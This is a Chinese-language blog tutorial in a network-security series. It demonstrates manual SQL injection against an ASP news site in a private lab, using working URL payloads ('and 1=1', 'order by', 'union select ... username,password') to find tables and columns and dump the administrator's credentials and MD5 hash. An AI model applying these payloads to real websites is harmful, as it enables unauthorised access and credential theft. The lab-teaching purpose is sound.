標籤:sql注入 asp 手工 暴庫
SQL注入是駭客對資料庫進行攻擊的常用手段之一,其核心思想在於:駭客在正常的需要調用資料庫資料的URL後面構造一段資料庫查詢代碼,然後根據返回的結果,從而獲得想要的某些資料。下面我們就對之前已經搭建好的滲透平台進行SQL注入,最終目的是獲得網站的管理員帳號和密碼。目標伺服器IP地址:192.168.80.129,駭客主機IP地址:192.168.80.128。
(1)尋找注入點
隨便開啟一個網頁,注意觀察URL。
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201410/7/70821_1412645085inYh.png" height="244" />
注入點必定是類似“http://192.168.80.129/shownews.asp?id=7”這類存在命令調用的頁面,“shownews.asp?id=7”是頁面傳值,就是將“id=7”傳到“shownews.asp”頁面裡進行處理。
我們可以在這個URL後面加上and 1=1和and 1=2進行測試。
http://192.168.80.129/shownews.asp?id=7 and 1=1 ,網頁仍能正常顯示。
http://192.168.80.129/shownews.asp?id=7 and 1=2 ,網頁無法正常顯示。
這就表明“asp?”把我們自己加上的“and 1=1”也作為一個命令參數進行了調用,那我們就可以來構造一些SQL語句來被調用執行,從而得到需要的資訊,這就是所謂的注入漏洞。像這樣可以調用命令參數的網頁就稱為注入點。
(2)猜表名
駭客進行網站滲透的主要目的是獲得網站管理員的使用者名稱和密碼,使用者名稱和密碼都是存放在後台資料庫的某個表中,所以首先我們得猜出這個資料表的名字是什麼。
表名用的最多的是admin和admin_user,我們可以在注入點URL的後面加上這樣一條語句來猜表名:
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin) > 0
“select count(*) from admin”的意思是統計admin表中欄位的數目,如果admin表存在,那麼這條語句就會得到一個數值。用這個數值跟>0比較,結果肯定是成立的,所以此時網頁應該正常顯示。反之,如果admin表不存在,那麼“select count(*) from admin”就得不到任何數值,跟>0比較,結果不成立,網頁也就無法正常顯示。
如果網頁不能正常顯示,可以再換一個表名進行嘗試,直到正常顯示為止:
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin_user) > 0
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from manage_user) > 0
這個網站的表名就是manage_user。
常見表名主要有:admin sysadmin manger admin123 webadmin member manage_user
注意:如果表名實在猜不出來,也可以使用明小子之類的工具來幫忙。
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201410/7/70821_1412645085CYT0.png" height="426" />
(3)猜欄位的數量
下一步是猜這個表中哪個欄位存放著使用者名稱和密碼,首先需要知道資料表中一共有幾個欄位。
這裡要用到“order by”語句,“order by”的本意是按某個欄位排序,“order by 10”就是按第10個欄位排序,如果第10個欄位存在,那麼網頁就會正常顯示,否則如果網頁無法正常顯示,則表明第10欄位不存在。
http://192.168.80.129/shownews.asp?id=7 order by 11
通過這種方法可以猜出這個表一共有11個欄位。
(4)猜欄位名
下一步是需要知道哪個欄位存放著使用者名稱和密碼,這裡用到“union select”聯集查詢語句。
http://192.168.80.129/shownews.asp?id=7 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user
這裡會將存放使用者名稱和密碼的欄位爆出。
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201410/7/70821_1412645086bGoz.png" height="325" />
存放使用者名稱的欄位一般叫username,存放密碼的欄位一般叫password,將第2和第3欄位替換成這兩個名字:
http://192.168.80.129/shownews.asp?id=7 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user
這時就將使用者名稱和密碼爆出了。
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201410/7/70821_1412645087sbOQ.png" height="335" />
(5)猜後台管理入口
在這個2.0版的南方資料範本中,本身就帶有“管理員登入”的連結。現在大多數網站不會這樣設定的,所以這裡一般要憑經驗來猜,管理入口一般存放在名為admin的網站子目錄下,輸入下面的地址http://192.168.80.129/admin,就自動將管理入口顯示出來了。
650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201410/7/70821_1412645087kVbL.png" height="322" />
在這裡就可以用之前爆出的管理員帳號和密碼來登入,但是密碼“3acdbb255b45d296”很明顯是經過MD5加密的,如何才能解密呢?這將在下篇博文來介紹。
本文出自 “一壺濁酒” 部落格,轉載請與作者聯絡!
網路安全系列之四 手工SQL注入(ASP)